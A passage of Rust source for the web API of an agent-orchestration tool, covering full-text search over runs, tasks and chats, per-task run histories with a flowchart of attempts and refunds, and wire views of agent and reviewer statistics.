3462                let shown = e.min(hi);
3463                push(&chars[s..shown], true);
3464                at = shown;
3465            }
3466            None => {
3467                push(&chars[at..hi], false);
3468                at = hi;
3469            }
3470        }
3471    }
3472    if hi < chars.len() {
3473        push(&['\u{2026}'], false);
3474    }
3475    // Collapse whitespace (newlines in an instruction) without disturbing the
3476    // hit boundaries.
3477    let mut prev_space = false;
3478    for p in &mut parts {
3479        let mut out = String::with_capacity(p.text.len());
3480        for c in p.text.chars() {
3481            if c.is_whitespace() {
3482                if !prev_space {
3483                    out.push(' ');
3484                }
3485                prev_space = true;
3486            } else {
3487                out.push(c);
3488                prev_space = false;
3489            }
3490        }
3491        p.text = out;
3492    }
3493    parts.retain(|p| !p.text.is_empty());
3494    parts
3495}
3496
3497/// The search over `docs` (id, document), newest first, capped.
3498fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3499where
3500    I: IntoIterator<Item = (String, serde_json::Value)>,
3501{
3502    for (id, doc) in docs {
3503        let mut leaves = Vec::new();
3504        // The id is text an operator types too, and it is a map key on disk,
3505        // not a leaf.
3506        leaves.push(("id", id.as_str()));
3507        text_leaves(&doc, "", &mut leaves);
3508        if let Some(mut hit) = search_document(terms, &leaves) {
3509            view.total += 1;
3510            if view.hits.len() < SEARCH_MAX_HITS {
3511                hit.id = id;
3512                view.hits.push(hit);
3513            }
3514        }
3515    }
3516    view.truncated = view.total > view.hits.len();
3517}
3518
3519/// What a conversation is searched by: its list title and each turn's text,
3520/// under `operator` / `agent` so the snippet says who spoke. Nothing else
3521/// (session ids, repo paths, usage, drafts) is part of the document.
3522///
3523/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
3524/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
3525fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3526    let opener = talk
3527        .turns
3528        .iter()
3529        .find(|t| t.who == crate::talk::Who::Operator)
3530        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3531        .unwrap_or("");
3532    let title: String = if opener.chars().count() > 96 {
3533        opener.chars().take(95).chain(['\u{2026}']).collect()
3534    } else {
3535        opener.to_owned()
3536    };
3537    let turns: Vec<serde_json::Value> = talk
3538        .turns
3539        .iter()
3540        .map(|t| {
3541            let who = match t.who {
3542                crate::talk::Who::Operator => "operator",
3543                crate::talk::Who::Agent => "agent",
3544            };
3545            serde_json::json!({ who: t.body })
3546        })
3547        .collect();
3548    serde_json::json!({ "title": title, "turns": turns })
3549}
3550
3551/// Read-only full-text search over every run's `run.json`, every task or every
3552/// conversation (title and transcript).
3553///
3554/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
3555/// record from an older schema still searches; only a file that is not JSON
3556/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
3557async fn search_get(
3558    State(ui): State<Arc<Ui>>,
3559    Query(q): Query<SearchQuery>,
3560) -> ApiResult<Json<SearchView>> {
3561    let query = q.q.trim().to_owned();
3562    if query.is_empty() {
3563        return Err(ApiError::bad_request("q must not be empty"));
3564    }
3565    if query.chars().count() > SEARCH_MAX_QUERY {
3566        return Err(ApiError::bad_request(format!(
3567            "q is longer than {SEARCH_MAX_QUERY} characters"
3568        )));
3569    }
3570    let terms = search_terms(&query);
3571    if terms.len() > SEARCH_MAX_TERMS {
3572        return Err(ApiError::bad_request(format!(
3573            "q has more than {SEARCH_MAX_TERMS} terms"
3574        )));
3575    }
3576    let scope = q.scope;
3577    if scope != "runs" && scope != "tasks" && scope != "chats" {
3578        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3579    }
3580    blocking(move || {
3581        let mut view = SearchView {
3582            scope: scope.clone(),
3583            q: query,
3584            hits: Vec::new(),
3585            total: 0,
3586            truncated: false,
3587            unreadable: 0,
3588        };
3589        if scope == "runs" {
3590            let mut unreadable = 0;
3591            // One run.json is read, matched and dropped at a time; nothing
3592            // holds the whole history. The scan runs to the end even past the
3593            // hit cap so `total` and `unreadable` stay exact.
3594            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3595                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3596                match body.and_then(|b| serde_json::from_str(&b).ok()) {
3597                    Some(v) => Some((id, v)),
3598                    None => {
3599                        unreadable += 1;
3600                        None
3601                    }
3602                }
3603            });
3604            search_docs(&terms, docs, &mut view);
3605            view.unreadable = unreadable;
3606            // Only the capped hits get a row: the filters need a run's state,
3607            // and reading every match would be the whole history again.
3608            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3609            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3610            for hit in &mut view.hits {
3611                if let Ok(state) = read_run(&ui.runs, &hit.id) {
3612                    hit.run = summarize(
3613                        [state],
3614                        &open_runs,
3615                        &claimed,
3616                        &superseded,
3617                        |p| probe.borrow_mut().status(p),
3618                        |p| probe.borrow_mut().started_at(p),
3619                    )
3620                    .pop();
3621                }
3622            }
3623        } else if scope == "chats" {
3624            let (talks, unreadable) = ui.talks.list_counting_unreadable();
3625            view.unreadable = unreadable;
3626            search_docs(
3627                &terms,
3628                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3629                &mut view,
3630            );
3631        } else {
3632            let docs = ui.queue.list().into_iter().filter_map(|t| {
3633                let mut v = serde_json::to_value(&t).ok()?;
3634                // `source` serialises as a tagged object; the label is what
3635                // the operator reads ("human", "chat@a1b2").
3636                if let Some(o) = v.as_object_mut() {
3637                    o.insert("filed_by".to_owned(), t.source.label().into());
3638                }
3639                Some((t.id, v))
3640            });
3641            search_docs(&terms, docs, &mut view);
3642        }
3643        Ok(Json(view))
3644    })
3645    .await
3646}
3647
3648/// One attempt in a task's history, as the task page lists it.
3649#[derive(Debug, Serialize)]
3650struct TaskRunView {
3651    /// 1-based position in [`Task::runs`].
3652    n: usize,
3653    id: String,
3654    short: String,
3655    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
3656    kind: &'static str,
3657    /// The run's own status string; `None` when its record cannot be read.
3658    status: Option<&'static str>,
3659    /// Whether this build could read the run's record. Counted, never hidden.
3660    readable: bool,
3661    /// A verdict from a collapsed panel is provisional, never a decision.
3662    provisional: bool,
3663    /// What kind of attempt this was, in one line.
3664    description: String,
3665    /// How it ended and why the task moved on (or what it is doing now).
3666    outcome: String,
3667    created_at: Option<Timestamp>,
3668    pr: Option<String>,
3669    /// Why this pass ended, classified once; the flowchart is built from it.
3670    exit: RunExit,
3671    /// What the pass did to the task's attempt budget.
3672    attempt: AttemptCost,
3673    /// The branch a review-only run reopened.
3674    branch: Option<String>,
3675}
3676
3677/// How one pass over a run ended, as far as the task's life is concerned.
3678#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3679#[serde(rename_all = "snake_case")]
3680enum RunExit {
3681    Unreadable,
3682    /// An earlier pass of a run id that appears again: it stopped short.
3683    Interrupted,
3684    Parked,
3685    QuotaStall,
3686    /// Stalled on a resumed pass with quota losses on record: they may be
3687    /// left over from an earlier pass, so whether this one was refunded is
3688    /// not knowable.
3689    ResumedQuotaStall,
3690    Merged,
3691    Ready,
3692    Superseded,
3693    /// The change was already on the base under other commits: the task
3694    /// finished without this run landing anything.
3695    AlreadyInBase,
3696    /// Stalled without a rate limit to blame: no verdict, attempt spent.
3697    Stalled,
3698    /// Blocked / no-op with a pull request left open: held for a person.
3699    HeldWithPr,
3700    NoopHeld,
3701    /// Blocked or failed: the attempt is spent and the task retries or holds.
3702    Spent,
3703    InProgress,
3704}
3705
3706#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3707#[serde(rename_all = "snake_case")]
3708enum AttemptCost {
3709    Spent,
3710    Refunded,
3711    None,
3712    /// Cannot be told from the records that remain.
3713    Unknown,
3714}
3715
3716impl RunExit {
3717    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3718        let Some(s) = s else {
3719            return Self::Unreadable;
3720        };
3721        let status = s.status;
3722        if resumed_later {
3723            Self::Interrupted
3724        } else if s.parked {
3725            Self::Parked
3726        } else if !status.done() {
3727            Self::InProgress
3728        } else if matches!(status, RunStatus::Merged) {
3729            Self::Merged
3730        } else if matches!(status, RunStatus::Ready) {
3731            Self::Ready
3732        } else if matches!(status, RunStatus::Superseded) {
3733            Self::Superseded
3734        } else if matches!(status, RunStatus::AlreadyInBase) {
3735            Self::AlreadyInBase
3736        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3737            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3738        {
3739            if resumed {
3740                Self::ResumedQuotaStall
3741            } else {
3742                Self::QuotaStall
3743            }
3744        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3745            Self::HeldWithPr
3746        } else if matches!(status, RunStatus::VerifiedNoop) {
3747            Self::NoopHeld
3748        } else if matches!(status, RunStatus::Stalled) {
3749            Self::Stalled
3750        } else {
3751            Self::Spent
3752        }
3753    }
3754
3755    fn cost(self) -> AttemptCost {
3756        match self {
3757            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3758            Self::Merged
3759            | Self::Ready
3760            | Self::Stalled
3761            | Self::HeldWithPr
3762            | Self::NoopHeld
3763            | Self::Spent => AttemptCost::Spent,
3764            Self::InProgress => AttemptCost::None,
3765            Self::AlreadyInBase => AttemptCost::Refunded,
3766            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3767                AttemptCost::Unknown
3768            }
3769        }
3770    }
3771
3772    /// Short edge wording for leaving a run this way.
3773    fn edge_label(self, status: Option<&str>) -> String {
3774        match self {
3775            Self::Unreadable => "record unreadable".to_owned(),
3776            Self::Interrupted => "interrupted before the run finished".to_owned(),
3777            Self::Parked => "parked, attempt refunded".to_owned(),
3778            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3779            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3780            Self::Merged => "merged".to_owned(),
3781            Self::Ready => "ready, not merged".to_owned(),
3782            Self::Superseded => "superseded by a later attempt".to_owned(),
3783            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3784            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3785            Self::HeldWithPr => "blocked, PR left open".to_owned(),
3786            Self::NoopHeld => "verified no-op".to_owned(),
3787            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3788            Self::InProgress => "in progress".to_owned(),
3789        }
3790    }
3791
3792    /// Does a task in `end` follow from a run that ended this way? When not,
3793    /// somebody closed or held the task by hand.
3794    fn explains(self, end: TaskStatus) -> bool {
3795        match self {
3796            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3797            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3798            Self::Unreadable | Self::Superseded | Self::Ready => true,
3799            _ => end != TaskStatus::Done,
3800        }
3801    }
3802}
3803
3804/// `GET /api/queue/{id}` - one task with every attempt it went through.
3805#[derive(Debug, Serialize)]
3806struct TaskDetailView {
3807    #[serde(flatten)]
3808    task: TaskView,
3809    /// The attempt budget `magi serve` / `magi web` start a loop with unless
3810    /// told otherwise; the loop's own flag is not visible from here.
3811    max_attempts: usize,
3812    history: Vec<TaskRunView>,
3813    flow: FlowView,
3814    /// How many entries of `history` could not be read.
3815    runs_unreadable: usize,
3816    /// Why the attempt count can be lower than the number of runs.
3817    attempts_note: &'static str,
3818}
3819
3820const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3821and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3822on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3823in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3824
3825/// The branch a review-only run reopened, read off the instruction
3826/// `Runner::open_review` writes.
3827fn review_branch_of(instruction: &str) -> Option<&str> {
3828    let rest = instruction.strip_prefix("Review the work already on branch `")?;
3829    rest.split('`').next().filter(|b| !b.is_empty())
3830}
3831
3832/// Where an entry sits in a task's run list.
3833struct RunSlot<'a> {
3834    /// 1-based position.
3835    n: usize,
3836    /// The same run id appeared earlier: this pass resumed it.
3837    resumed: bool,
3838    /// Position of a later pass over the same run id, if any.
3839    resumed_later: Option<usize>,
3840    /// The previous distinct run and how it ended, for the retry note.
3841    prior: Option<(&'a str, RunStatus)>,
3842    last: bool,
3843}
3844
3845/// Describe one entry of a task's run list. Pure: everything it needs is on
3846/// the run and the task, so it is asserted without a server.
3847fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3848    let RunSlot {
3849        n,
3850        resumed,
3851        resumed_later,
3852        prior,
3853        last,
3854    } = at;
3855    let short = run::short_of(id).to_owned();
3856    let Some(s) = state else {
3857        return TaskRunView {
3858            n,
3859            id: id.to_owned(),
3860            short,
3861            kind: "unknown",
3862            status: None,
3863            readable: false,
3864            provisional: false,
3865            description:
3866                "This run's record could not be read by this build (written by a different \
3867                          magi, or removed), so what kind of attempt it was is unknown."
3868                    .to_owned(),
3869            outcome: String::new(),
3870            created_at: None,
3871            pr: None,
3872            exit: RunExit::Unreadable,
3873            attempt: AttemptCost::Unknown,
3874            branch: None,
3875        };
3876    };
3877    let branch = review_branch_of(&s.instruction);
3878    let kind = if resumed {
3879        "resume"
3880    } else if branch.is_some() {
3881        "review"
3882    } else if task.solo || s.candidates.len() == 1 {
3883        "solo"
3884    } else {
3885        "competition"
3886    };
3887    let mut description = match kind {
3888        "resume" => {
3889            format!("Resumed run {short}: the same run carried on instead of competing again.")
3890        }
3891        "review" => format!(
3892            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3893            branch.unwrap_or_default()
3894        ),
3895        "solo" => "Solo run: one implementer straight into review.".to_owned(),
3896        _ => format!(
3897            "Competition: {} candidates judged blind.",
3898            s.candidates.len().max(1)
3899        ),
3900    };
3901    if !resumed && let Some((p, st)) = prior {
3902        description.push_str(&format!(
3903            " A retry: run {p} before it ended {}.",
3904            st.display_label()
3905        ));
3906    }
3907
3908    let status = s.status;
3909    let provisional = matches!(status, RunStatus::Stalled)
3910        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3911    let head = if resumed_later.is_some() {
3912        String::new()
3913    } else {
3914        match status {
3915            RunStatus::Merged => "Merged.".to_owned(),
3916            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3917            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3918            RunStatus::AlreadyInBase => {
3919                "Already in the base: this change landed under other commits, nothing was left to land."
3920                    .to_owned()
3921            }
3922            RunStatus::Stalled => {
3923                "Stalled: the judging panel never reached a quorum, so there is no verdict."
3924                    .to_owned()
3925            }
3926            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3927            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3928            RunStatus::VerifiedNoop => {
3929                "Verified no-op: the candidates found nothing to change.".to_owned()
3930            }
3931            other if other.done() => format!("Ended {}.", other.display_label()),
3932            other => format!("In progress ({}).", other.display_label()),
3933        }
3934    };
3935    let why = if let Some(k) = resumed_later {
3936        // A run is only picked up again while it is unfinished, so an earlier
3937        // pass of a repeated id stopped short; the record keeps only the run's
3938        // latest status, which is left to the pass that carried it on.
3939        // Only the latest state is recorded: `parked` is cleared on resume
3940        // and `quota` accumulates across passes, so neither says why *this*
3941        // pass stopped, and the refund is as unknown as `AttemptCost` says.
3942        let cause = if s.quota.is_empty() {
3943            "the cause was not recorded: a park, a crash or a restart all look the same from here"
3944        } else {
3945            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
3946        };
3947        format!(
3948            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
3949        )
3950    } else if s.parked {
3951        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3952            .to_owned()
3953    } else if !status.done()
3954        || matches!(
3955            status,
3956            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3957        )
3958    {
3959        String::new()
3960    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3961        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3962    {
3963        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3964            .to_owned()
3965    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3966        " It left a pull request open, so the task was held for a person rather than retried."
3967            .to_owned()
3968    } else if matches!(status, RunStatus::VerifiedNoop) {
3969        " Held for a person to check the claim.".to_owned()
3970    } else if last {
3971        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3972    } else {
3973        " It spent an attempt, and the task moved on to the next run.".to_owned()
3974    };
3975    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3976    TaskRunView {
3977        n,
3978        id: id.to_owned(),
3979        short,
3980        kind,
3981        status: Some(status.as_str()),
3982        readable: true,
3983        provisional,
3984        description,
3985        outcome: format!("{head}{why}"),
3986        created_at: Some(s.created_at),
3987        pr: s.pr.as_ref().map(|p| p.url.clone()),
3988        exit,
3989        attempt: exit.cost(),
3990        branch: branch.map(str::to_owned),
3991    }
3992}
3993
3994/// One box of the task's flowchart.
3995#[derive(Debug, Serialize, PartialEq)]
3996struct FlowNode {
3997    /// Unique by position: a resumed run id appears once per pass.
3998    key: String,
3999    /// `chat`, `start`, `run` or `end`.
4000    kind: &'static str,
4001    label: String,
4002    /// Run status (or the task's, for `end`); `None` when it is not a fact
4003    /// about this box (unreadable, or a pass the run later resumed from).
4004    status: Option<&'static str>,
4005    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4006    note: Option<&'static str>,
4007    run_kind: Option<&'static str>,
4008    detail: Option<String>,
4009    /// A readable run with a real verdict; a stall never is.
4010    decided: bool,
4011    readable: bool,
4012    href: Option<String>,
4013}
4014
4015#[derive(Debug, Serialize, PartialEq)]
4016struct FlowEdge {
4017    from: String,
4018    to: String,
4019    label: String,
4020    attempt: AttemptCost,
4021}
4022
4023#[derive(Debug, Serialize, PartialEq)]
4024struct FlowView {
4025    nodes: Vec<FlowNode>,
4026    edges: Vec<FlowEdge>,
4027    /// Attempts the task has counted since it was last released.
4028    attempts: usize,
4029    max_attempts: usize,
4030}
4031
4032/// Turn a task and its described runs into the flowchart's boxes and arrows.
4033/// Pure: the page only draws what this returns.
4034fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4035    let node = |key: &str, kind, label: String| FlowNode {
4036        key: key.to_owned(),
4037        kind,
4038        label,
4039        status: None,
4040        note: None,
4041        run_kind: None,
4042        detail: None,
4043        decided: false,
4044        readable: true,
4045        href: None,
4046    };
4047    let mut nodes = Vec::new();
4048    let mut edges: Vec<FlowEdge> = Vec::new();
4049    // A task queued from a chat opens the flow with that conversation.
4050    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4051        let mut n = node(
4052            "chat",
4053            "chat",
4054            format!("Chat {}", crate::queue::short(&link.id)),
4055        );
4056        n.href = Some(link.href);
4057        nodes.push(n);
4058        edges.push(FlowEdge {
4059            from: "chat".to_owned(),
4060            to: "start".to_owned(),
4061            label: "queued from chat".to_owned(),
4062            attempt: AttemptCost::None,
4063        });
4064    }
4065    nodes.push(node("start", "start", "Task queued".to_owned()));
4066    let mut prev = "start".to_owned();
4067    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4068    for (i, h) in history.iter().enumerate() {
4069        let key = format!("run-{}", h.n);
4070        let mut n = node(&key, "run", format!("Run {}", h.short));
4071        n.run_kind = Some(h.kind);
4072        n.readable = h.readable;
4073        n.href = Some(format!("#/runs/{}", h.id));
4074        n.decided = h.readable && !h.provisional;
4075        n.detail = h
4076            .branch
4077            .as_ref()
4078            .map(|b| format!("review-only run of branch {b}"));
4079        match h.exit {
4080            RunExit::Unreadable => n.note = Some("unreadable"),
4081            RunExit::Interrupted => n.note = Some("interrupted"),
4082            _ => {
4083                n.status = h.status;
4084                if h.provisional {
4085                    n.note = Some("no verdict");
4086                }
4087            }
4088        }
4089        let into = match h.kind {
4090            "review" => Some(format!(
4091                "review-only run of branch {}",
4092                h.branch.as_deref().unwrap_or("?")
4093            )),
4094            "resume" => Some("resume the same run".to_owned()),
4095            _ if i > 0 => Some("retry".to_owned()),
4096            _ => None,
4097        };
4098        let label = match (prev_exit, into) {
4099            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4100            (Some((e, st)), None) => e.edge_label(st),
4101            (None, Some(i)) => i,
4102            (None, None) => "claimed".to_owned(),
4103        };
4104        edges.push(FlowEdge {
4105            from: prev.clone(),
4106            to: key.clone(),
4107            label,
4108            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4109        });
4110        prev_exit = Some((h.exit, h.status));
4111        prev = key;
4112        nodes.push(n);
4113    }
4114    let mut end = node("end", "end", task.status.as_str().to_owned());
4115    end.status = Some(task.status.as_str());
4116    nodes.push(end);
4117    let (label, attempt) = match prev_exit {
4118        None => (
4119            format!("no run yet \u{2192} {}", task.status.as_str()),
4120            AttemptCost::None,
4121        ),
4122        Some((e, st)) if e.explains(task.status) => (
4123            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4124            e.cost(),
4125        ),
4126        Some((e, _)) => (
4127            format!("closed by hand: task is {}", task.status.as_str()),
4128            e.cost(),
4129        ),
4130    };
4131    edges.push(FlowEdge {
4132        from: prev,
4133        to: "end".to_owned(),
4134        label,
4135        attempt,
4136    });
4137    FlowView {
4138        nodes,
4139        edges,
4140        attempts: task.attempts,
4141        max_attempts,
4142    }
4143}
4144
4145/// Describe every entry of `task.runs`, in order, reading each run's record
4146/// through `read`.
4147fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4148    let mut history = Vec::with_capacity(task.runs.len());
4149    let mut seen: Vec<&str> = Vec::new();
4150    let mut prior: Option<(&str, RunStatus)> = None;
4151    for (i, run_id) in task.runs.iter().enumerate() {
4152        let state = read(run_id);
4153        let resumed = seen.contains(&run_id.as_str());
4154        seen.push(run_id);
4155        history.push(task_run_view(
4156            run_id,
4157            state.as_ref(),
4158            RunSlot {
4159                n: i + 1,
4160                resumed,
4161                resumed_later: task.runs[i + 1..]
4162                    .iter()
4163                    .position(|r| r == run_id)
4164                    .map(|off| i + off + 2),
4165                prior,
4166                last: i + 1 == task.runs.len(),
4167            },
4168            task,
4169        ));
4170        if let Some(s) = &state {
4171            prior = Some((run::short_of(run_id), s.status));
4172        }
4173    }
4174    history
4175}
4176
4177async fn task_detail(
4178    State(ui): State<Arc<Ui>>,
4179    Path(id): Path<String>,
4180) -> ApiResult<Json<TaskDetailView>> {
4181    blocking(move || {
4182        let id = resolve_task(&ui.queue, &id)?;
4183        let task = ui
4184            .queue
4185            .get(&id)
4186            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4187        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4188        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4189        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4190        let max_attempts = daemon::Opts::default().max_attempts;
4191        let flow = task_flow(&task, &history, max_attempts);
4192        Ok(Json(TaskDetailView {
4193            max_attempts,
4194            flow,
4195            history,
4196            runs_unreadable,
4197            attempts_note: ATTEMPTS_NOTE,
4198            task: TaskView::with_inventory(task, &inv),
4199        }))
4200    })
4201    .await
4202}
4203
4204/// A rate together with its denominator, so the client can tell "computed as
4205/// 0%" apart from "no data to compute it from" — both would otherwise
4206/// serialize as `0.0`. `None` means the denominator was zero.
4207#[derive(Debug, Serialize)]
4208struct RateView {
4209    pct: f64,
4210    denominator: usize,
4211}
4212
4213impl RateView {
4214    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4215        (denominator > 0).then(|| Self {
4216            pct: 100.0 * numerator as f64 / denominator as f64,
4217            denominator,
4218        })
4219    }
4220}
4221
4222/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4223/// rates, each paired with its own denominator via [`RateView`] rather than
4224/// exposing `Stats`' own percentage methods directly — see this module's
4225/// doc for why `Stats` itself is never serialized.
4226#[derive(Debug, Serialize)]
4227struct StatsTotalsView {
4228    runs: usize,
4229    merged: usize,
4230    ready: usize,
4231    blocked: usize,
4232    failed: usize,
4233    stalled: usize,
4234    verified_noop: usize,
4235    superseded: usize,
4236    in_progress: usize,
4237    completion_rate: Option<RateView>,
4238    tallied: usize,
4239    split: usize,
4240    split_rate: Option<RateView>,
4241    deliberated: usize,
4242    minds_changed: usize,
4243    converged: usize,
4244    review_rounds: usize,
4245}
4246
4247impl From<&stats::Totals> for StatsTotalsView {
4248    fn from(t: &stats::Totals) -> Self {
4249        Self {
4250            runs: t.runs,
4251            merged: t.merged,
4252            ready: t.ready,
4253            blocked: t.blocked,
4254            failed: t.failed,
4255            stalled: t.stalled,
4256            verified_noop: t.verified_noop,
4257            superseded: t.superseded,
4258            in_progress: t.in_progress,
4259            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4260            tallied: t.tallied,
4261            split: t.split,
4262            split_rate: RateView::of(t.split, t.tallied),
4263            deliberated: t.deliberated,
4264            minds_changed: t.minds_changed,
4265            converged: t.converged,
4266            review_rounds: t.review_rounds,
4267        }
4268    }
4269}
4270
4271/// [`crate::stats::AgentStats`] for the wire.
4272#[derive(Debug, Serialize)]
4273struct AgentStatsView {
4274    agent: String,
4275    entered: usize,
4276    wins: usize,
4277    empty: usize,
4278    win_rate: Option<RateView>,
4279}
4280
4281impl From<&stats::AgentStats> for AgentStatsView {
4282    fn from(a: &stats::AgentStats) -> Self {
4283        Self {
4284            agent: a.agent.clone(),
4285            entered: a.entered,
4286            wins: a.wins,
4287            empty: a.empty,
4288            win_rate: RateView::of(a.wins, a.entered),
4289        }
4290    }
4291}
4292
4293/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4294/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4295/// value, `None` when `rounds` is zero.
4296#[derive(Debug, Serialize)]
4297struct ReviewerStatsView {
4298    agent: String,
4299    rounds: usize,
4300    seated: usize,
4301    submitted: usize,
4302    adopted: usize,
4303    unique: usize,
4304    timeouts: usize,
4305    adopted_per_round: Option<f64>,
4306    precision: Option<RateView>,
4307    unique_rate: Option<RateView>,
4308    timeout_rate: Option<RateView>,
4309}
4310
4311impl From<&stats::ReviewerStats> for ReviewerStatsView {
4312    fn from(r: &stats::ReviewerStats) -> Self {
4313        Self {
4314            agent: r.agent.clone(),
4315            rounds: r.rounds,
4316            seated: r.seated,
4317            submitted: r.submitted,
4318            adopted: r.adopted,
4319            unique: r.unique,
4320            timeouts: r.timeouts,
4321            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4322            precision: RateView::of(r.adopted, r.submitted),
4323            unique_rate: RateView::of(r.unique, r.submitted),
4324            timeout_rate: RateView::of(r.timeouts, r.seated),
4325        }
4326    }
4327}
4328
4329/// [`crate::stats::AdvisorStats`] for the wire.
4330///
4331/// `reflection_rate` is approximate by construction — see
4332/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4333/// that caveat is static text in `index.html`, not a field here.
4334#[derive(Debug, Serialize)]
4335struct AdvisorStatsView {
4336    agent: String,
4337    seated: usize,
4338    proposed: usize,
4339    absent: usize,
4340    faint: usize,
4341    strong: usize,
4342    reflection_rate: Option<RateView>,
4343}
4344
4345impl From<&stats::AdvisorStats> for AdvisorStatsView {
4346    fn from(a: &stats::AdvisorStats) -> Self {
4347        Self {
4348            agent: a.agent.clone(),
4349            seated: a.seated,
4350            proposed: a.proposed,
4351            absent: a.absent,
4352            faint: a.faint,
4353            strong: a.strong,
4354            reflection_rate: RateView::of(a.strong, a.proposed),
4355        }
4356    }
4357}
4358
4359/// [`crate::stats::E2eStats`] for the wire.
4360#[derive(Debug, Serialize)]
4361struct E2eStatsView {
4362    rounds: usize,
4363    failures: usize,
4364    sole_detections: usize,
4365    deferred: usize,
4366    sole_rate: Option<RateView>,
4367}
4368
4369impl From<&stats::E2eStats> for E2eStatsView {
4370    fn from(e: &stats::E2eStats) -> Self {
4371        Self {
4372            rounds: e.rounds,
4373            failures: e.failures,
4374            sole_detections: e.sole_detections,
4375            deferred: e.deferred,
4376            sole_rate: RateView::of(e.sole_detections, e.failures),
4377        }
4378    }
4379}
4380
4381/// [`crate::stats::ReleaseBumpStats`] for the wire.
4382///
4383/// `clean` is sent as a raw count, computed the same way
4384/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4385/// needs_attention`) — never derived client-side from `automerge_enabled`,
4386/// which would misclassify a `merged_directly` bump (automerge rejected, but
4387/// magi merged it directly, so no human involvement) as needing attention.
4388#[derive(Debug, Serialize)]
4389struct ReleaseBumpStatsView {
4390    merged: usize,
4391    recorded: usize,
4392    pr_opened: usize,
4393    automerge_enabled: usize,
4394    merged_directly: usize,
4395    needs_attention: usize,
4396    clean: usize,
4397    coverage_rate: Option<RateView>,
4398    automerge_rate: Option<RateView>,
4399    attention_rate: Option<RateView>,
4400}
4401
4402impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4403    fn from(b: &stats::ReleaseBumpStats) -> Self {
4404        Self {
4405            merged: b.merged,
4406            recorded: b.recorded,
4407            pr_opened: b.pr_opened,
4408            automerge_enabled: b.automerge_enabled,
4409            merged_directly: b.merged_directly,
4410            needs_attention: b.needs_attention,
4411            clean: b.clean(),
4412            coverage_rate: RateView::of(b.recorded, b.merged),
4413            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
